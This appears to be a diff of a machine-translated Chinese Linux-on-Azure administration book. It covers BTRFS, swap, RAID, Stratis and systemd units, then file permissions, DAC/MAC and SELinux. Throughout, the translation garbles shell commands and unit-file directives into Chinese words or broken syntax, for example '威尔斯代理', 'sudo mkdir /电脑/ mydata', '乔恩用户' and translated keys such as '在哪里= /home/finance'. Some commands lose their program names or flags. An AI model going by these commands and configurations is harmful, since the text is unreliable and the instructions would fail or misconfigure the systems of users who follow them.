来提高性能,与只使用单个磁盘相比,可以提高吞吐量,这是一个好主意。 - -作为第一步,让我们创建一个带有两个底层磁盘的 BTRFS 文件系统: - -sudo mkfs。 btrfs -d raid0 -L mydata /dev/sdc /dev/sdd - -当然,你可以用第三个磁盘来扩展文件系统,但是在你这样做之前,你必须先挂载文件系统: - -sudo mkdir /电脑/ mydata - -sudo mount LABEL=mydata /srv/mydata - -Sudo BTRFS 文件系统 show /srv/mydata - -现在,添加第三个磁盘: - -sudo btrfs device add /dev/sde /srv/mydata - -Sudo BTRFS 文件系统 show /srv/mydata - -与 ZFS 一样,BTRFS 也有数据集的概念,但在 BTRFS 中,它们被称为**子卷**。 使用实例创建子卷。 - -BTRFS 子卷创建/srv/mydata/finance - -sudo btrfs subvolume list /srv/mydata - -可以独立于根卷挂载子卷: - -sudo mkdir /home/finance - --o subvol=finance LABEL=mydata /home/finance - -在**findnt**命令的输出中可以看到 ID**258**: - -![Listing the ID of a mounted subvolume.](img/B15455_05_26.jpg) - -###### 图 5.26:创建子卷 - -**交换文件系统** - -如果您的应用没有足够的内存可用,您可以使用交换。 使用交换总是一个好的做法,即使您的机器上有足够的 RAM。 - -空闲内存是应用以前使用过但当前不需要的内存。 如果在一段时间内没有使用此空闲内存,则将对其进行交换,以便为更频繁使用的应用提供更多内存。 - -为了提高整体性能,在 Linux 安装中添加一些交换空间是个好主意。 使用可用的最快存储是一个好主意,最好是在资源磁盘上。 - -#### 请注意 - -在 Linux 中,您可以使用交换文件和交换分区。 在性能上没有差别。 在 Azure 中,你不能使用交换分区; 这将使您的系统不稳定,这是由底层存储引起的。 - -Azure 中的交换由 Azure VM Agent 管理。 验证“**ResourceDisk. properties”是否正确。 将**y**设置为 EnableSwap**参数,以确认**/etc/waagent.conf**中是否启用交换。 此外,您可以在**ResourceDisk 中检查交换磁盘大小。 SwapSizeMB**: - -#在资源磁盘上创建和使用 swapfile - -ResourceDisk。 EnableSwap = y - -#交换文件大小。 - -ResourceDisk.SwapSizeMB=2048 - -一般来说,一个 2048 MB 内存的**交换文件**足以提高整体性能。 如果交换未启用,要创建交换文件,可以通过设置以下三个参数来更新**/etc/waagent.conf**文件: - -* **ResourceDisk。 格式=y** -* **ResourceDisk。 EnableSwap=y** -* **ResourceDisk。 SwapSizeMB=xx** - -为了重启 Azure VM Agent,对于 Debian/Ubuntu,执行以下命令: - -威尔斯代理 - -redhat /CentOS 操作系统: - -服务 waagent 重启 - -验证结果: - -ls -lahR /mnt | grep -i swap - -swapon –s - -如果发现没有创建交换文件,可以继续并重新启动虚拟机。 要做到这一点,可以使用以下命令之一: - -Shutdown -r now init 6 - -### Linux 软件 RAID - -**独立磁盘冗余阵列(RAID**),最初被称为廉价磁盘冗余阵列,是一种冗余技术相同的数据存储在不同的磁盘,这将帮助您恢复数据在磁盘故障的情况下。 RAID 有不同的级别。 微软在[https://docs.microsoft.com/en-us/azure/virtual-machines/linux/configure-raid](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/configure-raid)正式声明,您需要 RAID 0 才能获得最佳性能和吞吐量,但这不是一个强制实现。 如果当前的基础设施需要 RAID,那么可以实现它。**** - - **如果您的文件系统不支持 RAID,您可以使用 Linux Software RAID 来创建 raid0 设备。 您需要安装**mdadm**实用程序; 它在每个 Linux 发行版中都可用,但在默认情况下可能不会安装。 - -让我们假设您向 VM 添加了三个磁盘。 让我们创建一个名为**/dev/md127**的 RAID 0 设备(只是一个尚未使用的随机数): - -——创建/dev/md127——level 0 \ - -, raid 设备 3 /dev/sd {c, d, e} - -验证配置的方法如下: - -cat /proc/mdstat - -sudo mdadm --detail /dev/md127 - -前面的命令应该会给你如下的输出: - -![Verifying the configuration of the /dev/md127 RAID 0 device.](img/B15455_05_27.jpg) - -###### 图 5.27:验证 RAID 配置 - -使配置持久: - -Mdadm——detail——scan——verbose >> /etc/mdadm.conf .conf - -现在,你可以使用这个设备并使用文件系统来格式化它,如下所示: - -mkfs.ext4 -L BIGDATA /dev/md127 - -### 【析构 - -Stratis 是 RHEL 8 中新引入的,用于创建一个多磁盘、多层存储池,方便地监控和管理池,并减少人工干预。 它不提供 RAID 支持,但它将多个块设备转换为一个池,池上有一个文件系统。 Stratis 使用已经存在的技术:LVM 和 XFS 文件系统。 - -如果在 RHEL 上没有安装 Stratis,可以通过执行以下命令轻松安装: - -Sudo DNF 安装 stratis-cli - -使用以下命令启用守护进程: - -Sudo systemctl enable——现在 stratisd - -让我们假设您向 VM 添加了两个数据磁盘:**/dev/sdc**和**/dev/sdd**。 创建连接池: - -sudo stratis pool create stratis01 /dev/sdc /dev/sdd - -使用这个命令验证: - -Sudo 分层池列表 - -输出显示存储的总量; 在上面的例子中,是 64gb。 104 它的 MiB 已经被池管理所需的元数据占用: - -![Displaying the total physical and used physical memory in the stratis pool. ](img/B15455_05_28.jpg) - -###### 图 5.28 层池存储细节 - -需要获取池中磁盘的详细信息和使用情况,使用如下命令: - -Sudo 分层 blockdev 列表 - -正如您在下面的屏幕截图中看到的,我们得到了相同的输出,但是提供了关于池中的磁盘和使用情况的更多细节。 在如下输出中,可以看到池的名称和状态: - -![Getting information about name of the disk and in use data.](img/B15455_05_29.jpg) - -###### 图 5.29:池名称和状态 - -这里,存储用于数据,因为也可以将磁盘配置为读/写缓存。 Stratis 在新创建的池上形成一个文件系统(默认是 xfs): - -创建 stratis01 finance 文件系统 - -文件系统被标记为**finance**,可以通过设备名(**/stratis/stratis01/finance**)或 UUID 访问。 - -有了这些信息,您就可以像安装其他文件系统一样安装它,就像使用 systemd 安装一样,我们将在本章后面讨论。 - -创建文件系统后,可以创建快照,快照基本上是原始文件系统的副本。 可以通过执行该命令添加快照: - -Sudo 分层文件系统快照 stratis01 finance finance_snap - -要列出文件系统,我们可以执行以下命令: - -sudo 层云文件系统 - -您必须将它作为一个普通文件系统来安装! - -增加读写缓存可以提高性能,特别是当您使用的硬盘性能优于标准 SSD 盘(甚至非 SSD 盘)时。 假设这个磁盘是**/dev/sde**: - -Sudo Sudo 分层池添加-cache stratis01 /dev/sde - -和之前一样,用**blockdev**参数验证: - -![Adding a read/write cache to the disk to improve performance.](img/B15455_05_30.jpg) - -###### 图 5.30:添加缓存到**/dev/sde 磁盘** - -最后,我们讨论了各种文件系统; 您的选择将取决于您的需求。 首先,您需要确保文件系统与您的发行版兼容; 例如,BTRFS 在 RHEL 8 中被删除。 所以,最好在选择之前检查一下兼容性。 - -## systemd - -Linux 内核引导后,第一个 Linux 进程开始第一个进程。 这个进程被称为**init**进程。 在现代 Linux 系统中,这个进程称为**systemd**。 请看下面的截图,它以树格式显示了正在运行的进程: - -![A list of running processes started using systemd.](img/B15455_05_31.jpg) - -###### 图 5.31:树形格式的运行过程视图 - -Systemd 负责在引导过程中并行启动所有进程,除了由内核创建的进程。 在此之后,它根据需要激活服务以及其他功能。 它还跟踪和管理挂载点,并管理系统范围的设置,如主机名。 - -Systemd 是一个事件驱动的系统。 它与内核和反应等事件的时间点或用户引入了一个新的设备或按**Ctrl + Alt*+*【5】。** - - *### 与单位一起工作 - -Systemd 与单元一起工作,单元是由 Systemd 管理的实体,封装关于与 Systemd 相关的每个对象的信息。 - -单元文件是包含配置指令的配置文件,描述了单元并定义了它的行为。 这些文件的存储方式如下: - -![A list of unit files managed by systemd with their description.](img/B15455_05_32.jpg) - -###### 图 5.32:单元文件及其描述 - -单元可以通过**systemctl**实用程序进行管理。 如果需要查看所有可用类型,请执行以下命令: - -systemctl——类型帮助 - -要列出所有安装的单元文件,使用以下命令: - -sudo systemctl list-unit-files - -要列出激活的单元,使用以下命令: - -sudo systemctl list-units - -**列表单元文件**和**列表单元**参数都可以与**—类型**结合使用。 - -### 服务 - -服务单元是用来管理脚本或守护进程的。 让我们来看看 SSH 服务: - -#### 请注意 - -截图来自 Ubuntu 18.04。 服务的名称在其他发行版上可能有所不同。 - -![Using the status parameter of systemctl to fetch service details.](img/B15455_05_33.jpg) - -###### 图 5.33:ssh 服务细节 - -使用**systemctl**的**状态**参数,可以看到单元已加载,在引导时启用,并且它是默认值。 如果它没有被启用,你可以用这个命令来启用它; 启用将把服务添加到自动启动链: - -要查看服务状态,可以执行以下命令: - -sudo systemctl status - -在输出中,您可以看到 SSH 服务正在运行,并且显示了日志记录中的最后一个条目: - -![The output indicates that the service is running.](img/B15455_05_34.jpg) - -###### 图 5.34:服务状态和条目 - -要查看**单元**文件的内容,执行以下命令: - -sudo systemctl cat - -一个**单元**文件总是有两个或三个部分: - -* **【单位】**:描述和依赖处理 -* **[]**:类型配置 -* **[Install]**:可选部分,如果你想在启动时启用服务 - -要处理依赖关系,有几个可用的指令; 最重要的是: - -* **before**:指定的单元延迟到该单元启动。 -* **after**:指定的单元在该单元启动之前启动。 -* **要求**:如果这个单位被激活,这里列出的单位也会被激活。 如果指定的单元失败了,这个单元也会失败。 -* **wanted**: If this unit is activated, the unit listed here will be activated as well. There are no consequences if the specified unit fails. - - #### 请注意 - - 如果在之前没有指定**,在**之后没有指定**,则列出的单元(以逗号分隔)将在单元启动的同时启动。** - -以**ssh**服务为例: - -(单位) - -描述= = network.target 后 OpenSSH 守护进程 - -(服务) - -EnvironmentFile = - / etc / sysconfig / ssh - -ExecStartPre = / usr / sbin / sshd-gen-keys-start - -ExecStart=/usr/sbin/sshd -D $SSHD_OPTS - -ExecReload=/bin/kill -HUP $MAINPID KillMode=进程 - -重启=总 - -(安装) - -WantedBy=multi-user.target - -**服务**部分的大多数选项都不言自明; 如果没有,请查看**systemd 的手册页。** 和**系统。** 。 对于**[Install]**部分,**WantedBy**指令声明,如果您启用此服务,它将成为**多用户的一部分。 目标**集合,该集合在引导时被激活。 - -在讨论目标之前,要讨论的最后一件事是如何创建覆盖。 Systemd 单元可以有许多不同的指令; 许多都是默认选项。 要显示所有可能的指令,执行以下命令: - -sudo systemctl 显示 - -如果您想更改其中一个默认值,使用以下命令: - -启动编辑器。 例如,添加如下条目: - -(服务) - -ProtectHome =只读 - -保存更改。 您需要重新加载 systemd 配置文件并重新启动服务: - -sudo systemctl daemon-reload - -重启 SSHD - -回顾使用**systemctl cat sshd 进行的更改。** 。 再次登录并尝试在您的主目录中保存一些内容。 - -#### 请注意 - -如果你想另一个编辑器**systemctl 编辑**,添加一个变量,**SYSTEMD_EDITOR**,**/etc/environment 文件,例如,**SYSTEMD_EDITOR = / usr / bin / vim**。** - - **### 目标 - -目标是单元的集合。 有两类目标: - -* **非隔离**:正常的单元集合; 例如,**计时器。 目标**,包含所有计划任务。 -* **Isolatable**:如果执行**systemctl isolate<目标名。 目标>**,这将关闭不属于目标的所有进程,并启动属于目标的所有进程。 例子包括**救助。 目标**和**图形化。 目标**单位。 - -要查看目标的内容,使用以下命令: - -systemctl list-dependencies - -### 计划任务 - -Systemd 可以用来调度任务。 下面是一个计时器单元文件的例子: - -(单位) - -描述=计划备份任务 - -[计时器] - -OnCalendar = * - * - * 10:00:00 - -(安装) - -WantedBy=timers.target - -如果将该文件的内容保存到**/etc/systemd/system/backup。 定时器**,你需要一个相应的文件**/etc/systemd/system/backup。 例如,服务**包含以下内容: - -(单位) - -说明=备份脚本 - -(服务) - -类型=一次通过 - -ExecStart = /usr/local/bin/mybackup.sh - -启用和激活定时器: - -Sudo systemctl enable——now backup.timer - -要了解计划的任务,使用以下命令: - -sudo systemctl list-timers - -#### 请注意 - -阅读**man 7 systemd。 时间**学习更多关于日历事件的语法。 在这个手册页上有一个专门的部分。 - -如果计划的任务不是循环任务,可以使用以下命令: - -sudo system -run—on-calendar - -例如,如果我们想在 2019 年 10 月 11 日中午 12 点回显**done**到一个文件**/tmp/done**,我们必须如下截图所示: - -![Running a non-recurring scheduled task by providing event time.](img/B15455_05_35.jpg) - -###### 图 5.35:通过提供事件时间运行计划任务 - -### 安装本地文件系统 - -挂载单元可用于挂载文件系统。 关于挂载单元的名称有一些特殊的东西:它必须对应于挂载点。 例如,如果你想挂载在**/home/finance**上,挂载单元文件变为**/etc/systemd/system/home-finance。 mount**: - -(单位) - -描述=财务目录 - -(山) - -What = /dev/sdc1 - -在哪里= /home/finance - -类型= xfs - -选择=违约 - -(安装) - -WantedBy = local-fs.target - -使用**systemctl 启动住房金融。 mount**开始安装,并且**systemctl 启用家庭金融。 装入**在引导时装入。 - -### 安装远程文件系统 - -例如,如果一个文件系统不是本地的而是远程的,如果它是一个 NFS 共享,挂载它的最好方法是使用**automount**。 如果你没有使用 automount(**autofs**服务),你必须手动挂载远程共享; 这样做的好处是,如果您已经访问了远程共享,autofs 将自动挂载。 它将挂载该共享,如果您失去与该共享的连接,它将尝试按需自动挂载该共享。 - -您必须创建两个文件。 让我们以在**/home/finance**上挂载 NFS 为例。 首先,创建**/etc/systemd/system/home-finance。 用以下内容装入**: - -(单位) - -说明= NFS 金融共享 - -(山) - -什么= 192.168.122.100:/分享 - -在哪里= /home/finance - -类型= nfs - -选项=更= 4.2 - -创建名为**/etc/systemd/system/home-finance 的文件。 自动加载**: - -(单位) - -Description = Automount NFS 金融共享 - -(加载) - -在哪里= /home/finance - -(安装) - -WantedBy = remote-fs.target - -启动自动装载单元,而不是装载单元。 当然,您可以在引导时启用它。 - -## 总结 - -在本章中,我们深入了解了 Linux,解释了每个 Linux 系统管理员的基本任务:管理软件、网络、存储和服务。 - -当然,作为 Linux 系统管理员,这不是您每天都要做的事情。 最有可能的情况是,您不需要手动操作,而是将其自动化或编排。 但是为了能够编排它,您需要理解它是如何工作的,并能够验证配置并排除配置故障。 这将在*第八章,探索连续配置自动化*中讨论。 - -在下一章中,我们将探讨 Linux 中限制访问系统的选项: - -* 强制访问控制 -* 网络访问控制列表 -* 防火墙 - -我们还将介绍如何使用 Azure Active Directory 域服务将 Linux 机器加入域。 - -## 问题 - -1. 硬件识别的责任是什么? -2. 设备命名的责任是什么? -3. 识别网络接口的方法有哪些? -4. 谁维护网络配置? -5. 识别本地附加存储的方法是什么? -6. 为什么我们在 Azure 中使用 raid0 ? -7. 在 Azure 中实现 RAID 0 有哪些选项? -8. 尝试使用三个磁盘实现 RAID 0 设备; 用 XFS 格式化它。 安装它,并确保它是在引导时安装的。 - -## 进一步阅读 - -在某种程度上,这一章是一个深入的探索,但有更多的东西要学习,与所有的主题涵盖在这一章。 我强烈建议您阅读所有使用的命令的手册页。 - -对于存储,除了 Azure 网站上的文档,一些文件系统还有自己的网站: - -* **XFS**:[https://xfs.org](https://xfs.org) -* **BTRFS**:[https://btrfs.wiki.kernel.org](https://btrfs.wiki.kernel.org) -* **ZFS**:[http://open-zfs.org](http://open-zfs.org) -* **分层**:[https://stratis-storage.github.io](https://stratis-storage.github.io) - -Lennart Poettering, systemd 的主要开发者之一,有一个很好的博客,里面有很多技巧和背景信息:[http://0pointer.net/blog](http://0pointer.net/blog)。 此外,文档可以在[https://www.freedesktop.org/wiki/Software/systemd](https://www.freedesktop.org/wiki/Software/systemd)找到。 - -由于**systemctl status**命令不能为您提供足够的信息,我们将在*第 11 章,故障诊断和监控工作负载*中讨论更多关于日志记录的内容。******** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/06.md b/docs/handson-linux-admin-azure/06.md deleted file mode 100644 index c437cc29..00000000 --- a/docs/handson-linux-admin-azure/06.md +++ /dev/null @@ -1,1347 +0,0 @@ -# 六、管理 Linux 安全与身份 - -在前一章中,我们讨论了处理存储,以及网络和进程管理。 但是,作为系统管理员,您的主要目标是保护您的 Linux 机器,以拒绝任何未经授权的访问或限制用户的访问。 在企业环境中,安全漏洞是一个非常值得关注的问题。 在这一章中,我们将讨论安全性——在操作系统级别上保护你的工作负载; 例如,如果您的组织是一个金融机构,你将处理工作负载处理货币承诺,甚至个人身份信息**(PII**)的客户,这是很重要的一个方面,你安全的工作负载,以避免任何破坏。 当然,Azure 已经为您提供了多种方式和级别的服务来保护您的虚拟机。 以下是其中的一些服务:**** - - ***** Azure 资源管理器,它提供安全、审计和标记功能 -* Web 应用防火墙,它可以防止许多攻击,如 SQL 注入 -* 网络安全组的有状态包过滤特性 -* Azure 防火墙,它提供了一个与 Azure 的监控功能紧密集成的有状态防火墙 - -您还可以订阅 Azure 安全中心服务,以实现统一的安全管理,并提供许多吸引人的功能,比如持续的安全评估。 - -有了这些可能性,我们还需要操作系统级别的保护吗? 我们认为,多层次的保护是个好主意。 这将花费黑客更多的精力和时间,这将使它更容易发现黑客。 没有所谓的无漏洞软件:如果一个应用是脆弱的,至少操作系统应该受到保护。 - -身份管理是一个与安全性相关的主题。 您可以将 Linux 与**Azure Active Directory**(**Azure AD**)集成,以集中您的登录帐户,通过使用基于角色的访问控制,撤销访问,并启用多因素身份验证来实现细粒度访问。 - -到本章结束时,你将能够: - -* 实现一个**强制访问控制**(**MAC**)系统,如 SELinux 或 AppArmor。 -* 了解**自主访问控制**(**DAC**)的基础知识。 -* 使用 Azure 中可用的身份管理系统。 -* 使用防火墙守护进程和 systemd 增强 Linux 的安全性。 - -## Linux 安全提示 - -在我们深入了解您可以采取的所有重要安全性措施之前,这里有一些关于安全性的提示。 - -一般来说,在多个级别上实现安全性是一个好主意。 通过这种方式,黑客需要不同的方法来获取访问权限,这将耗费他们的时间。 由于这段时间(希望也由于日志和监控),您有更大的机会检测未经授权的访问。 - -对于文件和目录,**DAC**仍然是一个很好的基础。 使文件和目录的权限尽可能严格。 检查所有者和组的所有权,并使用**访问控制列表**(**acl**)代替未授权用户的权限。 尽量避免使用**suid/sgid**位。 是否有用户需要更改自己的密码? 没有? 然后从**passwd**命令中删除该位。 - -使用分区,尤其是**等目录/ tmp**,**/ var**,**/ var / tmp**,**/**,和山的【显示】noexec,**nodev**,和【病人】nosuid 国旗: - -* 一般来说,让用户能够从这些位置执行程序并不是一个好主意。 幸运的是,如果不能将所有者设置为 root,则可以作为普通用户将具有**suid**位的程序复制到自己的目录中。 -* 这些目录下的文件的**suid**和**sgid**权限是非常非常危险的。 -* 不允许在该分区上创建或存在字符或特殊设备。 - -使用 SSH 密钥认证方式访问虚拟机,不使用密码。 使用 acl 或防火墙限制对某些 ip 的访问。 限制用户,不允许 root 远程访问(使用**PermitRootLogin no**参数和**AllowUsers**只允许一个或两个帐户访问)。 使用**sudo**作为根用户执行命令。 可以在**sudo**配置中为特殊任务创建特殊用户或用户组。 - -不要在虚拟机上安装太多的软件,特别是涉及到网络服务时,比如 web 服务器和电子邮件服务器。 不时使用**ss**命令检查开放的端口,并将其与 acl 和/或防火墙规则进行比较。 - -另一个技巧是不要在系统上禁用 SELinux,它是 Linux 内核中的一个安全模块。 现在不要担心,因为我们有专门的一节介绍 SElinux。 - -保持你的系统是最新的; Linux 供应商为您提供更新是有原因的。 手动或使用自动化/编排工具。 想做就做! - -## 技术要求 - -就本章而言,您需要部署 RedHat/CentOS 7 和 Ubuntu 18.04 虚拟机。 另一种选择是使用 SUSE SLE 12 或 openSUSE LEAP,而不是 CentOS 和 Ubuntu 虚拟机。 SUSE 支持本章讨论的所有选项。 - -## DAC - -DAC 也称为用户指示的访问控制。 您可能已经熟悉 Linux 和 acl 中的经典权限。 这些结合起来就形成了 DAC。 经典权限检查当前进程的**用户 ID**(**UID**)和**组 ID**(**GID**)。 经典的权限与试图访问文件的用户的 UID 和 GID 匹配,UID 和 GID 设置为文件。 让我们看看 DAC 是如何被引入的,以及在 Linux 中拥有什么级别的权限。 但是,我们不会详细讨论这个问题,因为主要目的是让您熟悉 Linux 中的权限。 - -### DAC 简介 - -大多数操作系统,如 Linux、macOS、各种 Unix 甚至 Windows,都是基于 DAC 的。 **中定义 MAC 和 DAC 可信计算机系统评估标准**(**TCSEC**),也被称为橙皮书发表由美国国防部**(**国防部**)。 我们将在下一节讨论 MAC。 顾名思义,DAC 允许文件的所有者或创建者决定他们需要为其他用户提供对同一文件的访问级别。** - - **尽管我们看到 DAC 在所有系统中都实现了,但它也被认为是弱的。 例如,如果我们授予一个用户读访问权,它本质上是传递的。 因此,没有什么可以阻止用户将其他人文件的内容复制到用户可以访问的对象中。 换句话说,DAC 不负责信息的分发。 在下一节中,我们将快速了解一下文件权限。 - -### Linux 下的文件权限 - -Linux 中的每个文件和目录都被视为一个对象,并具有三种类型的所有者:用户、组和其他。 接下来,我们通常将文件和目录称为对象。 首先,让我们来了解一下三种不同类型的业主: - -* **User**:用户是创建对象的人。 默认情况下,这个人将成为对象的所有者。 -* **Group**:组是用户的集合。 属于同一组的所有用户对该对象具有相同的访问级别。 组的概念使您更容易同时为多个用户分配权限。 设想这样一个场景:您将创建一个文件,并且希望团队成员也访问该文件。 如果您是一个大型团队的一部分,并为每个用户分配权限,这将是忙碌的。 相反,您可以将用户添加到一个组并定义该组的权限,这意味着组中的所有用户都继承访问权限。 -* **Other**:这指的是不属于该对象的所有者(创建者)或不属于该对象的用户组的任何其他用户。 换句话说,设想一个包含创建者和组中拥有权限的所有用户的集合; " other "指的是不属于该集合元素的用户。 - -如前所述,每个对象有三种类型的所有者。 每个所有者(用户、组、所有者)对一个对象有三种权限。 这些措施如下: - -* **Read**:读取权限将授予读取或打开文件的权限。 目录上的读权限意味着用户将能够列出目录的内容。 -* **Write**:如果应用于一个文件,这将给予修改该文件内容的权限。 向目录添加此权限将授予在该目录中添加、删除和重命名文件的权限。 -* **Execute**:运行可执行程序或脚本时必须具有此权限。 例如,如果您有一个 bash 脚本,并且您有读写权限,这意味着您将能够读取和修改代码。 但是,要执行代码,您需要此权限。 - -下面是所有者和相关权限的图示: - -![A flowchart representing three types of owners (user, group, and others) and their associated permissions on an object, namely read, write, and execute](img/B15455_06_01.jpg) - -###### 图 6.1:所有者类型和访问权限 - -让我们继续,了解如何从 Linux 终端计算权限。 - -要列出目录的内容,执行**ls -lah**。 - -输出将根据你在目录中列出的内容不同: - -![An output listing the contents of a directory](img/B15455_06_02.jpg) - -###### 图 6.2:列出目录的内容 - -如果观察**数据**行,第一个字母是**d**,这意味着它是一个目录。 至于**external.png**,它是显示**——**,它代表一个文件,还有【显示】l 为**,这意味着一个链接(更像是一个快捷方式)。** - - **让我们来仔细看看: - -![A glance at the data line of the directory output](img/B15455_06_03.jpg) - -###### 图 6.3:目录输出的数据行 - -首先,**rwx**表示用户/所有者具有读、写和执行权限。 - -其次,**r-x**表示组具有读取和执行权限。 但是,没有写权限。 - -第三,**r-x**表示所有其他人都有读和执行访问权限,但没有写访问权限。 - -类似地,您可以理解分配给其他对象的权限。 - -这些已经被按照**read(r)**,**write(w)**和**execute**的顺序写入。 如果丢失了一封信,那就意味着没有许可。 下面的表格解释了这些字母的含义: - -![List of access permissions and their corresponding symbols](img/B15455_06_04.jpg) - -###### 图 6.4:访问权限符号 - -您可能想知道这个文件的所有者是谁,哪个组正在获得访问权限。 这在输出本身中得到了回答: - -![Output containing information regarding owners and groups](img/B15455_06_05.jpg) - -###### 图 6.5:所有者和组详细信息 - -在这种情况下: - -* 用户具有读写权限,但无执行权限。 -* 组只有读权限,无写和执行权限。 -* 所有其他人只有读权限。 - -下面的图表将帮助你理解如何区分每个所有者的权限: - -![Understanding the difference between various permissions for different owners](img/B15455_06_06.jpg) - -###### 图 6.6:区分每个所有者的权限 - -可以使用**chmod**命令修改文件或文件夹的权限。 一般语法是: - -chmod 文件名/目录权限 - -然而,对目录应用权限并不会继承其中的子文件夹和文件。 如果希望继承权限,可以使用**-R**参数,该参数表示*递归*。 - -此外,该命令不提供任何输出; 也就是说,不管是否应用了权限,它都不会返回任何输出。 可以使用**-v**参数获得详细输出。 - -有两种方式可以将权限传递给**chmod**命令: - -* 符号法 -* 绝对的方法/数值模型 - -### 符号法 - -在符号方法中,我们将使用操作符和用户表示。 以下是操作符列表: - -![A list of operators for setting, adding, and removing permissions](img/B15455_06_07.jpg) - -###### 图 6.7 符号方法中的运算符 - -这里是用户表示的列表: - -![List of user denotations](img/B15455_06_08.jpg) - -###### 图 6.8:用户表示 - -现在让我们看看如何结合操作符和外延来更改权限。 我们将使用**-v**参数来理解发生了什么变化。 - -让我们回顾一下我们对**external.png**文件的权限: - -![Viewing the permissions for external.png file](img/B15455_06_09.jpg) - -###### 图 6.9:外部 png 文件的权限 - -到目前为止,用户没有执行权限。 要添加这些,请执行以下命令: - -Chmod -v u+x external.png - -在输出中,您可以看到值从**rwr -r——r——**变为**rwxr——r——**: - -![Adding execute permissions to a user](img/B15455_06_10.jpg) - -###### 图 6.10:添加执行权限 - -你会在这里看到一些数字。 当我们讨论绝对方法时,我们会讨论这些是什么。 - -接下来,让我们尝试通过执行以下命令来编写和执行组的权限: - -Chmod -v g+wx external.png - -因此,将**wx(写入,执行)**添加到**g(组)**将得到类似以下的输出。 你可以清楚地从输出中了解变化: - -![Adding write and execute permissions to a group](img/B15455_06_11.jpg) - -###### 图 6.11:向组添加写和执行权限 - -到目前为止,我们一直在添加权限。 现在,让我们看看如何删除其他人现有的读权限。 - -执行以下: - -Chmod -v o-r external.png - -这将删除读权限,从下面的输出中可以明显看出: - -![An output showing change in read permissions](img/B15455_06_12.jpg) - -###### 图 6.12:删除读权限 - -让我们为每个人(用户、组和其他人)设置读、写和执行权限。 - -执行如下命令: - -Chmod -v a=rwx external.png - -输出显示权限更改为**rwxrwxrwx**: - -![Setting read, write, and execute permissions to all owners (user, group, and others)](img/B15455_06_13.jpg) - -###### 图 6.13:设置每个人的读、写和执行权限 - -另一个例子涉及到组合每个所有者的权限,并在一个镜头中传递这些权限,如下所示: - -Chmod -v u=rw,g=r,o=x external.png - -此处将用户权限设置为读写,组权限设置为只读,其他权限设置为只读。 同样,您可以使用逗号分隔权限,并使用必要的操作符授予权限。 - -### 绝对(数字)节点 - -在这个方法中,我们将使用一个三位数的八进制数来设置权限。 下面是值及其对应权限的表: - -![List of numeric values and their corresponding permissions](img/B15455_06_14.jpg) - -###### 图 6.14:数值及其对应的权限 - -让我们举个例子。 检查位于当前目录中的**新文件**文件的权限。 执行**ls -lah**: - -![Executing ls -lah to check permissions of new-file](img/B15455_06_15.jpg) - -###### 图 6.15:检查新建文件的权限 - -现在,让我们使用数字模式并分配权限。 我们将改变用户许可**rwx**,所以 4 + 2 + 1 = 7,然后改变组许可**rw**,所以 4 + 2 + 0 = 6,只有为他人执行,所以 0 + 0 + 1 = 1。 - -结合这三个数字,我们得到 761,所以这就是我们需要传递给**chmod**的值。 - -执行如下命令: - -Chmod -v 761 新建文件 - -输出如下: - -![Assigning permissions using 3-digit octal code](img/B15455_06_16.jpg) - -###### 图 6.16:使用 3 位八进制代码分配权限 - -现在,我们可以把之前用符号法进行测试时得到的数字联系起来。 - -下面是该值的图形表示: - -![Pictorial representation of the 3-digit octal code](img/B15455_06_17.jpg) - -###### 图 6.17:图形表示的 3 位八进制码 - -您可能已经注意到,在我们分配的权限之前有一个额外的数字(例如 0761)。 此**0**用于高级文件权限。 如果您还记得提示,我们有“*这些目录中文件的 suid 和 sgid 权限是非常非常危险的*”和“*尽量避免使用 suid/sgid 位*”。 这些**suid/sgid**值通过一个额外的数字传递。 最好不要使用这个,坚持基本的许可,因为这些是非常危险和复杂的。 - -现在我们知道了如何更改权限,但是如何更改拥有的用户和组呢? 为此,我们将使用**chown**命令。 语法如下: - -乔恩用户:文件名/目录 - -这将更改文件的所有者和组。 如果你只想改变所有者,你可以使用这个: - -乔恩用户文件/目录中 - -如果您只想更改组,请使用**chgrp**命令: - -chgrp 文件名/目录 - -正如在**chown**命令中所解释的,该命令也不是递归的。 如果您希望将更改继承到目录的子文件夹和文件,请使用**-R**(递归)参数。 您还有一个详细的选项(**-v**),正如我们在**chmod**中看到的那样。 - -现在我们知道了权限处理,让我们进入下一节关于 MAC 的内容。DAC 是关于使用 UID 和 GID 进行权限检查的。 另一方面,MAC 是基于策略的访问控制。 现在让我们仔细看看 MAC。 - -## MAC - -在 MAC 中,系统根据特定资源的授权和敏感性来限制对特定资源的访问。 它更基于策略,使用**Linux 安全模块**(**LSM**)实现。 - -安全标签是 MAC 的核心。每个主题都有一个级别的安全许可(例如,机密或机密),每个数据对象都有一个安全分类。 例如,一个安全许可级别为 confidential 的用户试图检索一个安全分类为绝密的数据对象时,会被拒绝访问,因为他们的安全许可低于对象的分类。 - -因此,很明显,您可以在那些机密性非常重要的环境(政府机构等等)中使用 MAC 模型。 - -SELinux 和 AppArmor 是基于 mac 的商业系统的例子。 - -### LSM - -LSM 是一个框架,用于提供在 DAC 上添加 MAC 的接口。 这种额外的安全层可以通过 SELinux(基于 Red hat 的发行版和 SUSE)、AppArmor (Ubuntu 和 SUSE)或不太知名的 Tomoyo (SUSE)添加。 在本节中,我们将介绍 SELinux 和 AppArmor。 - -DAC 是一种模型,它提供基于组成员用户的访问控制以及对文件和设备的权限。 MAC 限制对以下资源对象的访问: - -* 文件 -* 流程 -* TCP / UDP 端口 -* 用户及其角色 - -由 SELinux 实现的 MAC 通过向每个资源对象分配一个分类标签(也称为上下文标签)来工作,而 AppArmor 是基于路径的。 在这两种情况下,如果一个资源对象需要访问另一个对象,则需要清除它。 因此,即使黑客入侵了您的 web 应用,例如,其他资源仍然是受保护的! - -### SELinux - -正如前面提到的,SELinux 是 Linux 中的一个安全模块,作为安全提示,建议不要禁用它。 SELinux 是由美国国家安全局和红帽公司开发的。 首次发布是在 2000 年 12 月 22 日,在撰写本书时,可用的稳定版本是 2019 年发布的 2.9。 它可以在每个基于 Red hat 的发行版和 SUSE 上使用。 本书将介绍在 Red Hat 上的实现。 如果您想在 SUSE 上使用它,请访问 SUSE 文档[https://doc.opensuse.org/documentation/leap/security/html/book.security/cha-selinux.html](https://doc.opensuse.org/documentation/leap/security/html/book.security/cha-selinux.html)来安装和启用 SELinux。 之后的程序都是一样的。 在过去,人们做了一些努力让它在 Ubuntu 上工作,但现在,没有积极的开发,软件包也坏了。 - -必须显式地授予所有访问权,但是在使用 SELinux 的发行版上,许多策略已经就位。 